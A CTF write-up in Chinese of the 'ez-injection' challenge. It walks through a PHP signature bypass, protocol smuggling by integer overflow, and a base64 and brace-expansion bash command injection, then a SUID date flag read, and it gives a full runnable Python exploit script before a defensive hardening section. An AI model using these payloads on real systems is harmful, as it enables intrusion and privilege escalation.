ez-injection 深度技术复盘总结

分析对象 :ez-injection赛题
核心漏洞 :签名验证逻辑漏洞、二进制协议解析整数溢出、命令注入、SUID提权
攻击链路 :签名绕过→协议走私→命令注入→SUID提权→读取flag
报告目的:从漏洞挖掘、利用、提权到防御,全维度拆解赛题漏洞原理,提炼Web安全开发与防护的核心准则

一、Web访问控制层的逻辑漏洞------签名验证的彻底绕过

本次赛题的第一道防线是基于X-Signature请求头的签名验证机制,设计初衷是通过服务端秘钥校验请求合法性,防止恶意请求伪造。但因异常处理逻辑缺失PHP弱类型比较特性,该鉴权机制被完全绕过,成为整个攻击链路的突破口。

1.1 签名验证机制的设计逻辑

赛题中index.php实现了签名验证的核心逻辑,整体设计流程如下:

  1. 客户端请求必须携带X-Signature请求头,否则直接返回403;
  2. 服务端通过checkSignature函数对该头部值进行Base64解码;
  3. 解码后的结果需与服务端预定义的$Secret_key完全一致,验证通过方可继续访问;
  4. 若解码失败或结果不匹配,验证失败并拒绝请求。

核心验证代码如下:

php 复制代码
$Secret_key = "xxxxx"; // 服务端随机秘钥
function checkSignature($signature)
{
    try {
        $decoded = base64_decode($signature, true);
        if ($decoded === false) {
            throw new Exception("Invalid base64 encoding");
        }
        global $Secret_key;
        return $decoded === $Secret_key;
    } catch (Exception $e) {
        echo $e->getMessage() . PHP_EOL;
    }
}

function verifySignature($headers)
{
    if (!isset($headers['X-Signature'])) {
        return false;
    }
    $validSignature = $headers['X-Signature'];
    if (checkSignature($validSignature) === false) {
        return false;
    }
    return true;
}

// 验证失败则返回403
if (!verifySignature(getallheaders())) {
    http_response_code(403);
    // 错误页面输出
    exit;
}

从代码设计上看,该机制看似满足了鉴权的基本要求,但在异常处理和返回值校验的细节上存在致命缺陷。

1.2 异常处理的核心漏洞:无显式返回值导致隐式返回NULL

PHP中函数的返回值遵循显式定义为原则,隐式返回为补充 的规则:若函数未在所有分支中显式声明return,则执行完代码后会隐式返回NULL。这一特性在checkSignature函数的catch块中被放大为安全漏洞。

当攻击者向X-Signature传入非法Base64字符 (如@@@@#1%¥&等)时,base64_decode($signature, true)会因解码失败触发false,进而执行throw new Exception抛出异常,程序进入catch块。但catch块中仅执行了echo $e->getMessage()没有任何显式的return语句 ,导致checkSignature函数执行完毕后隐式返回NULL

与之形成对比的是,函数在正常执行分支中,要么返回$decoded === $Secret_key的布尔值(true/false),要么因解码失败抛出异常后返回NULL,这为后续的校验逻辑漏洞埋下了伏笔。

1.3 PHP弱类型严格比较的逻辑判定漏洞

签名验证的最终判定在verifySignature函数中实现:if (checkSignature($validSignature) === false) { return false; }。这里使用了PHP的严格比较运算符=== ,要求左右两侧的值类型和内容完全一致 才会返回true

结合上文中的异常处理漏洞,此时会出现关键的逻辑判定场景:当checkSignature因解码失败返回NULL时,判定条件变为NULL === false。在PHP的严格比较规则中,NULL属于特殊的空类型,false属于布尔类型,二者类型不同,因此该判定结果为false

这一结果直接导致if语句内的return false不会被执行,verifySignature函数继续向下执行,最终返回true,签名验证被成功绕过。

1.4 签名绕过的实操实现

签名绕过的实现无需复杂的payload构造,核心只需让X-Signature的值为非合法Base64编码字符即可,具体实操要点如下:

  1. 任意构造非Base64字符,如@@@123#456@#1等,Base64的合法字符仅包含A-Za-z0-9+/=,超出该范围的字符均可触发解码异常;
  2. 在请求头中添加X-Signature: 构造的非法字符,发起GET/POST请求;
  3. 服务端触发解码异常,checkSignature返回NULL,验证判定不成立,最终鉴权通过。

示例绕过请求头(Burp Suite中构造):

http 复制代码
GET / HTTP/1.1
Host: localhost:9999
X-Signature: @@@
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Connection: close

发送该请求后,服务端会输出Invalid base64 encoding的异常信息,但不会返回403,而是直接展示赛题的功能选择页面,签名验证被彻底绕过。

1.5 签名验证漏洞的根源总结

本次签名验证的绕过并非因加密算法被破解、秘钥泄露等常规原因,而是源于开发人员对异常处理的忽视对PHP语言特性的不熟悉

  1. 开发人员仅考虑了函数正常执行的分支,未对异常场景的返回值进行定义;
  2. 对严格比较的判定逻辑理解不透彻,未考虑到NULL === false的判定结果;
  3. 验证函数的逻辑设计存在缺陷,将"验证失败"和"验证异常"混为一谈,未做区分处理。

二、二进制协议解析层的走私艺术------整数溢出引发的协议伪造

签名绕过之后,赛题的第二道防线是基于自定义TLV二进制协议 的请求解析机制,服务端通过该协议实现index.phpexecute.php之间的内部通信,并对客户端传入的参数进行格式校验。但因协议解析时未做长度边界检查 ,且利用pack/unpack处理的16位整数存在溢出特性 ,攻击者可通过构造超长请求体实现协议走私,伪造合法的协议包执行恶意命令。

2.1 自定义TLV协议的核心设计与解析逻辑

赛题中index.php会根据客户端选择的功能,将请求参数封装为自定义的二进制协议包,通过curl发送至execute.phpexecute.php则对该协议包进行解析,根据协议类型执行对应的命令。该协议属于典型的TLV (Type-Length-Value) 模型,核心结构为1字节Type + 2字节Length + N字节Value,各字段定义如下:

字段 长度 格式/解析方式 功能说明
Type 1字节 纯字符(A/B) 协议类型:A为直接执行命令,B为日期解析命令
Length 2字节 大端序(网络字节序) Value字段的长度,通过pack('n', len)打包,unpack('n', str)解析
Value N字节 字符串 协议载荷,Type为A时为系统命令,Type为B时为日期字符串(YYYY-MM-DD格式)

2.1.1 协议包的封装逻辑(index.php)

客户端通过POST提交function字段选择功能,index.php根据不同功能封装对应的协议包,核心逻辑如下:

  1. 功能A(获取系统时间):固定封装Type为A,Value为date的协议包,无客户端可控参数;
  2. 功能B(解析指定日期):封装Type为B,Value为客户端传入的date参数的协议包,前端有正则校验date为YYYY-MM-DD格式;
  3. 功能C(解析指定日期所在周):循环封装7个Type为B的协议包,Value为该周的7个日期,无可控注入点。

核心封装代码:

php 复制代码
if ($function === 'A') {
    $command = 'date';
    $data = bin2hex('A' . pack('n', strlen($command)) . $command);
} elseif ($function === 'B') {
    $date = $_POST['date'] ?? '';
    $command = $date;
    $data = bin2hex('B' . pack('n', strlen($command)) . $command);
}
// 最终将16进制的协议包转为二进制,通过curl发送至execute.php
curl_setopt($ch, CURLOPT_POSTFIELDS, hex2bin($data));

其中pack('n', strlen($command))是核心:n表示将整数按大端序、2字节无符号短整型 打包,这意味着Length字段的取值范围被限制为0~65535(2^16-1),为整数溢出埋下伏笔。

2.1.2 协议包的解析逻辑(execute.php)

execute.php是协议解析和命令执行的核心,首先校验请求来源为index.php,随后对二进制协议包进行循环解析,核心逻辑如下:

  1. 读取请求体的二进制数据,若长度小于3则判定为无效请求(1字节Type+2字节Length=3字节);
  2. 从偏移量$offset开始,依次解析Type、Length、Value字段;
  3. 校验Type仅能为A或B,否则判定为协议格式错误;
  4. 若Type为B,校验Value为合法的YYYY-MM-DD日期格式,随后拼接命令date -d Value执行;
  5. 若Type为A,直接执行Value对应的命令,无任何额外校验;
  6. 偏移量更新为$offset += 3 + $Length,继续解析后续协议包,直到解析完所有数据。

核心解析与执行代码:

php 复制代码
$input = file_get_contents('php://input');
$offset = 0;
while ($offset + 3 <= strlen($input)) {
    $type = $input[$offset];
    $length = unpack('n', substr($input, $offset + 1, 2))[1];
    $command = substr($input, $offset + 3, $length);
    $offset += 3 + $length;
    if ($type != "B" && $type != "A") {
        die("错误的协议格式");
    }
    if ($type === "B") {
        $date = $command;
        if (!isValidDate($date)) {
            die("日期格式错误");
        }
        $command = "date -d " . $date;
    }
    ob_start();
    system($command); // 核心命令执行函数
    $result = ob_get_clean();
    echo "<div class='block'><pre>" . htmlspecialchars($result) . "</pre></div>";
}

2.2 16位无符号整数的溢出特性

本次协议走私的核心原理是2字节无符号短整型的整数溢出 ,其根源在于pack('n', len)unpack('n', str)对Length字段的处理方式:

  1. pack('n', len)将客户端传入的$command长度转换为2字节无符号短整型,若长度超过65535,会发生整数截断,仅保留低16位的数值;
  2. unpack('n', str)将2字节的二进制数据解析为整数,解析结果的最大值始终为65535,若原始长度超过该值,解析结果为原始长度 % 65536

简单来说,当客户端传入的$command长度为65536 时,pack('n', 65536)会因整数溢出打包为0000 (十六进制),unpack解析后得到的Length字段值为0 ;当长度为65537时,打包后为0001,解析后Length为1,以此类推。

这一特性使得攻击者可以通过构造超长的date参数,让第一个协议包的Length字段解析为0,进而让服务端的偏移量$offset仅更新3+0=3,后续构造的恶意协议包会被当作新的协议包进行解析。

2.3 协议走私的核心原理:利用溢出伪造Type A协议包

赛题中Type B协议包有严格的日期格式校验,无法直接注入恶意命令;而Type A协议包无任何校验,可直接执行Value字段的命令,因此伪造Type A协议包是命令注入的核心目标。结合整数溢出特性,协议走私的核心思路如下:

  1. 选择功能B作为入口,构造合法的日期字符串(如2012-12-11)作为第一个协议包的Value,保证第一个协议包的Type为B且初始格式合法;
  2. 在合法日期后拼接伪造的Type A协议包(Type=A+Length=恶意命令长度+Value=恶意命令);
  3. 计算填充字符的长度,将整个date参数的总长度填充至65536,触发Length字段的整数溢出,使第一个协议包的Length解析为0;
  4. execute.php解析第一个协议包时,Length=0,因此Value为空,偏移量仅更新3,后续拼接的Type A协议包被当作新的协议包解析;
  5. 新解析的协议包Type为A,服务端直接执行其中的恶意命令,实现命令注入。

2.4 协议走私的关键细节:偏移量与数据对齐

协议走私的成功与否,核心在于偏移量的精准控制恶意协议包的数据对齐,需注意以下关键细节:

  1. 第一个协议包的Type为B,由功能B固定封装,无需攻击者构造;
  2. 填充后的总长度必须严格为65536,确保Length字段溢出为0,若长度偏差会导致偏移量计算错误,恶意协议包无法被正确解析;
  3. 恶意协议包必须紧跟在合法日期后,且无多余的分隔符,保证二进制数据的连续性;
  4. 恶意协议包的Length字段需正确打包为恶意命令的实际长度,确保Value字段被完整解析。

例如,当攻击者构造date=2012-12-11A[Length][whoami]并填充至65536字节时,第一个协议包的Length被解析为0,服务端解析完第一个包后,偏移量指向A的位置,随后将A解析为Type,[Length]解析为Length,whoami解析为Value,最终直接执行whoami命令。

三、 命令执行的构造与利用------字符避障与请求体拼接

协议走私的核心是伪造Type A协议包执行恶意命令,而在实际构造过程中,还需要解决特殊字符解析请求体拼接 的问题:一方面,POST请求中的特殊字符(如&|、空格)会干扰请求的解析;另一方面,需要将恶意协议包、合法日期、填充字符精准拼接为符合要求的请求体。本章节将详细讲解命令执行的payload构造、字符避障技巧和请求体的拼接逻辑。

3.1 命令执行的限制条件

在构造恶意命令前,需明确赛题中命令执行的限制条件,避免因payload构造不当导致注入失败:

  1. 恶意命令需通过Type A协议包的Value字段传入,最终由system()函数执行,支持Linux系统的所有命令;
  2. POST请求体的格式为application/x-www-form-urlencoded,因此payload中的&=+等字符会被URL解析器处理,需做避障处理;
  3. system()函数的执行结果通过ob_get_clean()捕获,该函数仅捕获标准输出流(stdout),标准错误流(stderr)的内容不会被输出,需做重定向处理;
  4. 恶意协议包的二进制数据需转为原始字节流,不可做URL编码,否则会被服务端解析为无效的协议数据。

3.2 字符避障的核心技巧:Base64编码+Bash大括号扩展

为解决POST请求中特殊字符的解析问题,本次赛题采用Base64编码 结合Bash大括号扩展的方式构造payload,既避免了特殊字符的干扰,又实现了恶意命令的执行,核心原理如下:

  1. 将恶意命令进行Base64编码,转换为无特殊字符的字母数字组合,避免&|、空格等字符被URL解析器处理;
  2. 利用Bash的大括号扩展特性,构造bash -c '{echo,编码后的命令}|{base64,-d}|{bash,-i}',通过管道符实现编码命令的解码和执行;
  3. 大括号扩展的格式无需使用空格,可有效规避空格被转义的问题,同时{}是Bash的合法字符,不会被服务端过滤。

3.2.1 Base64编码的注意事项

  1. 编码的对象是原始恶意命令的字节流 ,需保证编码后的结果无填充符=(或保留填充符,不影响解析);
  2. 服务端的Linux系统默认支持base64 -d解码,无需额外安装工具;
  3. 编码后的命令需与echo组合,通过标准输出传递给解码命令,实现无缝衔接。

例如,要执行ls -al /命令,首先进行Base64编码:

bash 复制代码
echo -n "ls -al /" | base64
# 编码结果:bHMgLWFsIC8=

随后构造Bash命令:

bash 复制代码
bash -c '{echo,bHMgLWFsIC8=}|{base64,-d}|{bash,-i}'

该命令执行时,首先通过echo输出编码后的字符串,随后通过base64 -d解码为原始命令,最后通过bash -i执行解码后的命令,实现无特殊字符的命令执行。

3.2.2 大括号扩展的优势

Bash的大括号扩展{cmd1,cmd2}等价于cmd1 cmd2,无需使用空格,这一特性完美解决了POST请求中空格被转义的问题。同时,大括号扩展属于Bash的内部语法,无需依赖外部工具,兼容性极强。

3.3 恶意Type A协议包的构造

结合TLV协议格式和字符避障技巧,恶意Type A协议包的构造步骤如下:

  1. 确定待执行的恶意命令,如find / -perm -u=s -type f 2>/dev/null(查找SUID提权文件);
  2. 对恶意命令进行Base64编码,得到编码后的字符串;
  3. 构造Bash执行命令,将编码后的字符串融入其中;
  4. 按TLV格式封装Type A协议包:Type为A(1字节),Length为Bash命令的长度(2字节大端序),Value为Bash命令;
  5. 将封装后的二进制协议包转为十六进制,方便后续拼接请求体。

以Python代码为例,恶意协议包的构造函数如下:

python 复制代码
import struct
import base64

def build_packet(command: str) -> str:
    # 对原始命令进行Base64编码
    encoded_cmd = base64.b64encode(command.encode()).decode()
    # 构造Bash执行命令,避免特殊字符
    bash_cmd = f"bash -c '{{echo,{encoded_cmd}}}|{{base64,-d}}|{{bash,-i}}'"
    # 封装Type A协议包:1字节Type + 2字节大端序Length + N字节Value
    type_a = b"A"
    length = struct.pack(">H", len(bash_cmd))  # >H表示大端序、2字节无符号短整型
    value = bash_cmd.encode()
    full_packet = type_a + length + value
    # 转为十六进制字符串,方便拼接
    return full_packet.hex()

# 测试:构造执行ls -al /的协议包
hex_packet = build_packet("ls -al /")
print(hex_packet)

3.4 最终请求体的拼接逻辑

请求体的核心格式为function=B&date=合法日期+恶意协议包+填充字符,需严格按照以下步骤拼接,确保总长度触发整数溢出:

  1. 固定前缀:function=B&date=,为功能B的POST请求固定参数,不可修改;
  2. 合法日期:选择一个符合YYYY-MM-DD格式的字符串,如2012-12-11,作为第一个协议包的初始Value;
  3. 恶意协议包:将上述构造的十六进制恶意Type A协议包转为二进制字节流,拼接在合法日期后;
  4. 填充字符:使用无意义的字符(如A)填充,使整个date参数的总长度达到65536,触发Length字段的整数溢出;
  5. 最终请求体:固定前缀 + 合法日期 + 恶意协议包二进制 + 填充字符,总长度需精准计算,确保无偏差。

拼接的核心公式:

复制代码
填充字符长度 = 65536 - (len(合法日期) + len(恶意协议包二进制))
最终date参数 = 合法日期 + 恶意协议包二进制 + b'A' * 填充字符长度
请求体 = b'function=B&date=' + 最终date参数

例如,合法日期2012-12-11的长度为10,恶意协议包二进制长度为100,则填充字符长度为65536-10-100=65426,需拼接65426个A字符,确保date参数总长度为65536。

四、SUID提权与flag读取------从普通命令执行到获取root权限文件

通过协议走私实现命令注入后,攻击者可执行普通的Linux命令,但此时发现直接读取flag文件无权限cat /flag.txt返回Permission denied)。赛题中flag.txt为root权限文件,普通用户无法直接读取,因此需要通过SUID提权的方式,利用系统中拥有SUID权限的二进制文件,以root身份读取flag文件。

4.1 SUID权限机制的核心原理

SUID(Set User ID)是Linux系统中的一种特殊文件权限,当一个二进制文件被设置SUID权限后,普通用户执行该文件时,进程会以文件所有者的身份运行 ,而非执行该文件的用户身份。这一机制的设计初衷是为了让普通用户执行某些需要高权限的操作(如passwd修改密码),但如果被恶意利用,会成为提权的重要途径。

4.1.1 SUID权限的识别

在Linux系统中,可通过ls -l查看文件的SUID权限,若文件权限的所有者执行位为s,则表示该文件拥有SUID权限,例如:

bash 复制代码
ls -l /usr/bin/passwd
# 输出:-rwsr-xr-x 1 root root 47032 2月 17 2023 /usr/bin/passwd

其中-rwsr-xr-x中的s即为SUID权限,该文件的所有者为root,因此普通用户执行passwd时,进程会以root身份运行。

4.1.2 查找系统中的SUID文件

赛题中通过执行以下命令查找系统中所有拥有SUID权限的文件,筛选可用于提权的二进制文件:

bash 复制代码
find / -perm -u=s -type f 2>/dev/null

命令参数说明:

  • /:从根目录开始查找;
  • -perm -u=s:筛选拥有SUID权限的文件;
  • -type f:仅筛选普通文件,排除目录;
  • 2>/dev/null:将错误输出重定向到空设备,避免无权限访问的目录输出错误信息。

执行该命令后,赛题中发现/bin/date文件拥有SUID权限,这成为本次提权的核心突破口。

4.2 date命令的SUID提权原理

date是Linux系统中用于查看和修改系统时间的命令,通常情况下无SUID权限,但赛题中为/bin/date设置了SUID权限,使其以root身份运行。该命令的**-f参数成为提权的核心,其功能为从文件中读取日期字符串并解析**,核心原理如下:

  1. date -f filename会读取filename中的每一行内容,尝试将其解析为日期格式;
  2. 若文件中的内容不是合法的日期格式,date会输出错误信息,并将文件中的内容包含在错误信息中;
  3. 由于date拥有SUID权限,以root身份运行,因此可以读取root权限的文件 (如/flag.txt);
  4. 错误信息会输出到标准错误流(stderr) ,通过重定向2>&1将stderr重定向到stdout,即可捕获包含flag的错误信息。

简单来说,当执行date -f /flag.txt时,date会尝试解析/flag.txt中的内容为日期,因flag字符串不是合法日期,会输出如下错误信息:

bash 复制代码
date: invalid date 'MOCSCTF{InjEc7_1t_t_the_Pr0TC01_L4yER}'

该错误信息中包含了/flag.txt的完整内容,即flag值,实现了root权限文件的读取。

4.3 flag读取的payload构造与执行

结合SUID提权原理和字符避障技巧,最终读取flag的payload构造步骤如下:

  1. 确定核心提权命令:date -f /flag.txt 2>&1,其中2>&1将stderr重定向到stdout,确保结果能被ob_get_clean()捕获;

  2. 对该命令进行Base64编码:

    bash 复制代码
    echo -n "date -f /flag.txt 2>&1" | base64
    # 编码结果:ZGF0ZSAtZiAvZmxhZy50eHQgMj4+MQ==
  3. 构造Bash执行命令:

    bash 复制代码
    bash -c '{echo,ZGF0ZSAtZiAvZmxhZy50eHQgMj4+MQ==}|{base64,-d}|{bash,-i}'
  4. 按TLV格式封装为Type A协议包,拼接至合法日期后并填充至65536字节,构造最终请求体;

  5. 发送POST请求,服务端解析后执行该命令,返回包含flag的错误信息。

执行该payload后,服务端会输出如下结果:

复制代码
Tue Dec 11 00:00:00 UTC 2012
date: invalid date 'MOCSCTF{InjEc7_1t_t_the_Pr0TC01_L4yER}'

其中第二行的错误信息即为flag值,成功实现root权限flag文件的读取。

五、自动化渗透脚本的实现与解析

手动构造请求体和协议包存在操作繁琐、易出错的问题,因此采用Python编写自动化渗透脚本,实现签名绕过、协议包构造、请求体拼接、命令执行、结果输出的全流程自动化。本章节将详细解析脚本的核心模块、实现逻辑和参数调整方法,确保脚本可直接运行并获取flag。

5.1 脚本的核心依赖库

本次脚本基于Python3编写,仅使用Python内置库requests第三方库,无需额外安装其他工具,核心依赖库如下:

库名 类型 核心功能
http.client 内置库 发起HTTP POST请求,模拟底层网络通信,兼容二进制请求体
struct 内置库 按大端序、2字节无符号短整型打包/解包数据,构造协议包的Length字段
base64 内置库 对恶意命令进行Base64编码,实现字符避障
requests 第三方库 发起HTTP POST请求,简化请求编写,自动处理响应解析,作为备用请求方式
io/gzip 内置库 处理服务端的gzip压缩响应,解析压缩后的返回结果

其中requests库可通过pip install requests安装,其余均为Python3内置库,无需额外安装。

5.2 脚本的核心模块设计

自动化渗透脚本分为参数配置模块、协议包构造模块、请求体拼接模块、HTTP请求模块、结果解析模块五个核心模块,各模块相互独立且耦合性低,便于修改和扩展,整体流程如下:

复制代码
参数配置 → 协议包构造 → 请求体拼接 → HTTP请求 → 结果解析

5.2.1 参数配置模块

该模块用于配置赛题的核心参数,包括目标服务器地址、签名绕过的X-Signature值、待执行的恶意命令等,所有参数均可根据实际环境灵活调整,核心代码:

python 复制代码
# ========== 自定义参数(根据实际环境修改) ==========
# 签名绕过的X-Signature值,任意非合法Base64字符
x_signature = "@@@"
# 目标服务器地址(http.client无需协议头,requests需要)
target_url_httpclient = "localhost:9999"
target_url_requests = "http://localhost:9999/"
# 待执行的恶意命令,核心提权读取flag
command2execute = "date -f /flag.txt 2>&1"

5.2.2 协议包构造模块

该模块实现恶意Type A协议包的构造,核心功能包括恶意命令Base64编码、Bash命令构造、TLV协议包封装、十六进制转换,核心代码:

python 复制代码
def build_packet(command: str) -> str:
    """
    按TLV格式构造Type A恶意协议包
    :param command: 待执行的原始恶意命令
    :return: 协议包的十六进制字符串
    """
    # 1. 对原始命令进行Base64编码,避免特殊字符
    encoded_cmd = base64.b64encode(command.encode()).decode()
    # 2. 构造Bash执行命令,使用大括号扩展避免空格
    bash_cmd = f"bash -c '{{echo,{encoded_cmd}}}|{{base64,-d}}|{{bash,-i}}'"
    # 3. 封装TLV协议包:1字节Type(A) + 2字节大端序Length + N字节Value(bash_cmd)
    type_a = b"A"  # Type字段
    length = struct.pack(">H", len(bash_cmd))  # Length字段,>H表示大端序、2字节无符号短整型
    value = bash_cmd.encode()  # Value字段
    full_packet = type_a + length + value
    # 4. 转为十六进制字符串,方便后续拼接请求体
    return full_packet.hex()

# 调用函数构造恶意协议包
hex_command = build_packet(command2execute)
hex_part = bytes.fromhex(hex_command)  # 转回二进制字节流

5.2.3 请求体拼接模块

该模块实现最终POST请求体的拼接,核心功能包括固定前缀拼接、合法日期拼接、恶意协议包拼接、填充字符计算、总长度校验 ,确保date参数总长度为65536,触发整数溢出,核心代码:

python 复制代码
# 1. POST请求固定前缀,功能B的参数格式
prefix = b"function=B&date=2012-12-11"
# 2. 计算填充字符长度,确保date参数总长度为65536
# date参数 = 2012-12-11 + 恶意协议包二进制 + 填充字符
date_base = b"2012-12-11"
filler_len = 65536 - len(date_base) - len(hex_part)
# 3. 构造date参数:合法日期 + 恶意协议包 + 填充字符(A)
date_param = date_base + hex_part + b"A" * filler_len
# 4. 构造最终请求体
body = prefix + date_param

5.2.4 HTTP请求模块

该模块实现HTTP POST请求的发送,提供http.clientrequests 两种请求方式,兼容不同的运行环境,核心功能包括请求头构造、二进制请求体发送、响应状态码获取,核心代码:

python 复制代码
# 构造请求头,包含签名绕过、请求体格式、长度等核心字段
headers = {
    "Host": target_url_httpclient,
    "X-Signature": x_signature,  # 签名绕过核心字段
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) Gecko/20100101 Firefox/137.0",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
    "Content-Type": "application/x-www-form-urlencoded",  # 表单格式
    "Content-Length": str(len(body)),  # 请求体长度,必须与实际一致
    "Connection": "close"
}

# 方式1:使用http.client发起请求(底层实现,兼容二进制)
conn = http.client.HTTPConnection(target_url_httpclient)
conn.request("POST", "/", body=body, headers=headers)
res = conn.getresponse()
print("=== http.client 响应结果 ===")
print(f"状态码: {res.status}")
raw_data = res.read()

# 方式2:使用requests发起请求(简化版,备用)
try:
    print("\n=== requests 响应结果 ===")
    res = requests.post(target_url_requests, data=body, headers=headers, timeout=10)
    print(f"状态码: {res.status_code}")
    print("响应内容:")
    print(res.text)
except Exception as e:
    print(f"requests请求失败: {e}")

5.2.5 结果解析模块

该模块实现服务端响应结果的解析,核心功能包括gzip压缩响应解压、二进制数据转字符串、flag提取,确保能正确解析包含flag的错误信息,核心代码:

python 复制代码
# 解析响应结果,处理gzip压缩
try:
    import gzip
    import io
    with gzip.GzipFile(fileobj=io.BytesIO(raw_data)) as f:
        decompressed_data = f.read()
    result = decompressed_data.decode("utf-8", errors="ignore")
    print("解压后的响应内容:")
    print(result)
    # 提取flag(根据flag格式匹配)
    import re
    flag_pattern = re.compile(r'MOCSCTF\{.*?\}')
    flag = flag_pattern.findall(result)
    if flag:
        print(f"\n提取到flag: {flag[0]}")
    else:
        print("\n未提取到flag,请检查命令是否正确")
except Exception as e:
    # 非gzip压缩,直接解码
    result = raw_data.decode("utf-8", errors="ignore")
    print("响应内容:")
    print(result)

5.3 脚本的运行与参数调整

5.3.1 脚本的运行步骤

  1. 将脚本保存为ez_injection_exp.py
  2. 根据赛题的实际环境,修改参数配置模块 中的目标服务器地址、x_signature值;
  3. 安装requests库(若使用):pip install requests
  4. 运行脚本:python3 ez_injection_exp.py
  5. 脚本自动执行所有步骤,最终输出并提取flag值。

5.3.2 常见参数调整场景

  1. 目标服务器地址变更:修改target_url_httpclienttarget_url_requests为实际的IP+端口;
  2. 签名绕过字符失效:将x_signature改为其他非合法Base64字符,如123#456@#1
  3. 需执行其他命令:修改command2execute为目标命令,如find / -perm -u=s -type f 2>/dev/nullwhoami
  4. 填充字符失效:将填充字符从A改为其他任意字符,如B0,不影响溢出效果。

5.4 脚本的优化与扩展

为提升脚本的通用性和稳定性,可进行以下优化和扩展:

  1. 添加命令行参数解析 :使用argparse库将目标地址、恶意命令等参数改为命令行传入,无需修改脚本内部;
  2. 增加错误处理:对协议包构造、请求体拼接、请求发送等步骤添加异常处理,避免脚本因单次错误终止;
  3. 支持多种编码方式:除Base64外,添加URLEncode、Hex编码等方式,适配不同的特殊字符场景;
  4. 自动查找SUID文件 :脚本中添加自动执行find / -perm -u=s -type f 2>/dev/null的逻辑,自动筛选提权文件;
  5. 多线程/多进程:支持同时发送多个请求,提升渗透效率(赛题中无需此功能)。

六、 漏洞根源分析与防御加固

本次ez-injection赛题的漏洞链从签名验证绕开到最终的flag读取,涉及代码逻辑、协议设计、系统权限 三个层面的问题,每一个漏洞的产生都源于开发人员的细节疏忽,而非复杂的技术漏洞。本章节将从漏洞根源防御加固两个角度,提炼Web安全开发和系统运维的核心准则,避免类似漏洞的出现。

6.1 漏洞根源的全方位分析

本次赛题的漏洞链并非单一漏洞导致,而是多个层面的漏洞相互叠加的结果,各环节的漏洞根源如下:

  1. 签名验证漏洞 :开发人员对PHP的异常处理和返回值机制理解不透彻,未在catch块中显式返回false,同时对严格比较的逻辑判定考虑不周全,导致NULL === false的判定结果被忽视;
  2. 协议解析漏洞 :协议设计时未做长度边界检查,未考虑到2字节无符号整数的溢出特性,同时循环解析协议包时未校验偏移量是否超出请求体长度,导致恶意协议包被走私;
  3. 命令执行漏洞 :Type A协议包的设计存在缺陷,直接执行客户端可控的参数,无任何输入校验和过滤,同时使用system()函数执行命令,存在天然的命令注入风险;
  4. 系统权限漏洞 :为/bin/date等非必要的二进制文件设置SUID权限,违背了最小权限原则,导致普通用户可通过该命令读取root权限文件。

这些漏洞的核心共同点是开发人员的安全意识不足,在代码编写和系统配置时,仅考虑了正常的业务逻辑,而忽视了异常场景和恶意攻击的可能性。

6.2 代码层的防御加固:安全编码准则

代码层是Web安全的第一道防线,针对本次赛题的漏洞,需遵循以下PHP安全编码准则,从源头避免漏洞的产生:

  1. 异常处理必须显式定义返回值 :在try-catch块中,无论是否触发异常,都需显式声明返回值,避免函数隐式返回NULL。例如,签名验证的checkSignature函数应修改为:

    php 复制代码
    function checkSignature($signature)
    {
        try {
            $decoded = base64_decode($signature, true);
            if ($decoded === false) {
                throw new Exception("Invalid base64 encoding");
            }
            global $Secret_key;
            return $decoded === $Secret_key;
        } catch (Exception $e) {
            echo $e->getMessage() . PHP_EOL;
            return false; // 显式返回false,避免隐式返回NULL
        }
    }
  2. 所有外部可控参数必须做校验 :无论是GET/POST参数,还是协议包中的Value字段,都需做严格的输入校验,包括格式校验、长度校验、内容校验。例如,Type A协议包的Value字段应做白名单校验,仅允许执行预设的命令;

  3. 避免使用危险的命令执行函数 :尽量避免使用system()exec()passthru()等危险的命令执行函数,若必须使用,需对执行的命令做白名单过滤 ,并使用escapeshellarg()对参数进行转义;

  4. 严格校验函数的返回值 :对pack()unpack()base64_decode()等函数的返回值做严格校验,确保返回值符合预期,避免因返回值异常导致的逻辑错误;

  5. 遵循最小权限原则:PHP运行的web用户(如www-data)应配置最小权限,避免拥有执行系统命令、读取敏感文件的权限。

6.3 协议层的防御加固:安全协议设计准则

自定义二进制协议是内部通信的常用方式,针对本次赛题的协议走私漏洞,需遵循以下安全协议设计准则

  1. 协议包添加校验字段 :在TLV协议包中添加校验和/哈希字段,服务端解析时校验协议包的完整性,防止协议包被篡改或伪造;
  2. 对Length字段做边界检查 :解析Length字段后,需校验$offset + 3 + $Length是否超出请求体的总长度,若超出则直接判定为无效协议包,避免偏移量越界;
  3. 限制协议包的最大长度:在协议设计时,限制单个协议包和整体请求体的最大长度,避免超长请求体导致的整数溢出;
  4. 统一协议包的类型和格式:减少无需校验的协议类型(如本次的Type A),所有协议类型都需做严格的参数校验,避免出现"免校验"的协议类型;
  5. 使用成熟的协议框架:尽量避免自定义二进制协议,优先使用HTTP/HTTPS、Protobuf、Thrift等成熟的协议框架,这些框架已做了完善的安全校验,避免手动设计的漏洞。

6.4 系统层的防御加固:Linux权限配置准则

系统层的SUID权限配置是本次提权的关键,针对Linux系统的权限配置,需遵循以下最小权限原则

  1. 严格控制SUID权限的分配 :仅为必要的二进制文件(如passwdsu)设置SUID权限,禁止为datelscat等普通命令设置SUID权限;
  2. 定期审计SUID文件 :通过find / -perm -u=s -type f 2>/dev/null定期审计系统中的SUID文件,及时移除非必要的SUID权限;
  3. 限制敏感文件的权限 :root权限的敏感文件(如flag文件、配置文件)应设置严格的权限,如chmod 600 /flag.txt,仅允许root用户读取和修改;
  4. 使用容器/沙箱隔离:将Web服务运行在容器或沙箱中,隔离容器内和宿主机的文件系统,即使容器内出现提权漏洞,也无法访问宿主机的敏感文件;
  5. 禁止普通用户执行系统命令:通过sudoers配置或SELinux/AppArmor,限制web用户执行系统命令的权限,避免命令注入导致的系统被控制。

6.5 运维层的防御加固:Web安全运维准则

除了代码和系统层的加固,运维层的安全配置也能有效降低漏洞被利用的风险,核心准则如下:

  1. 开启Web应用防火墙(WAF):部署WAF对请求进行过滤,拦截包含恶意字符、超长请求体、异常请求头的请求;
  2. 开启日志审计:对Web服务的访问日志、命令执行日志进行全量记录,及时发现异常的访问和命令执行行为;
  3. 定期漏洞扫描:使用AWVS、Nessus等漏洞扫描工具,定期对Web服务和系统进行漏洞扫描,及时发现并修复漏洞;
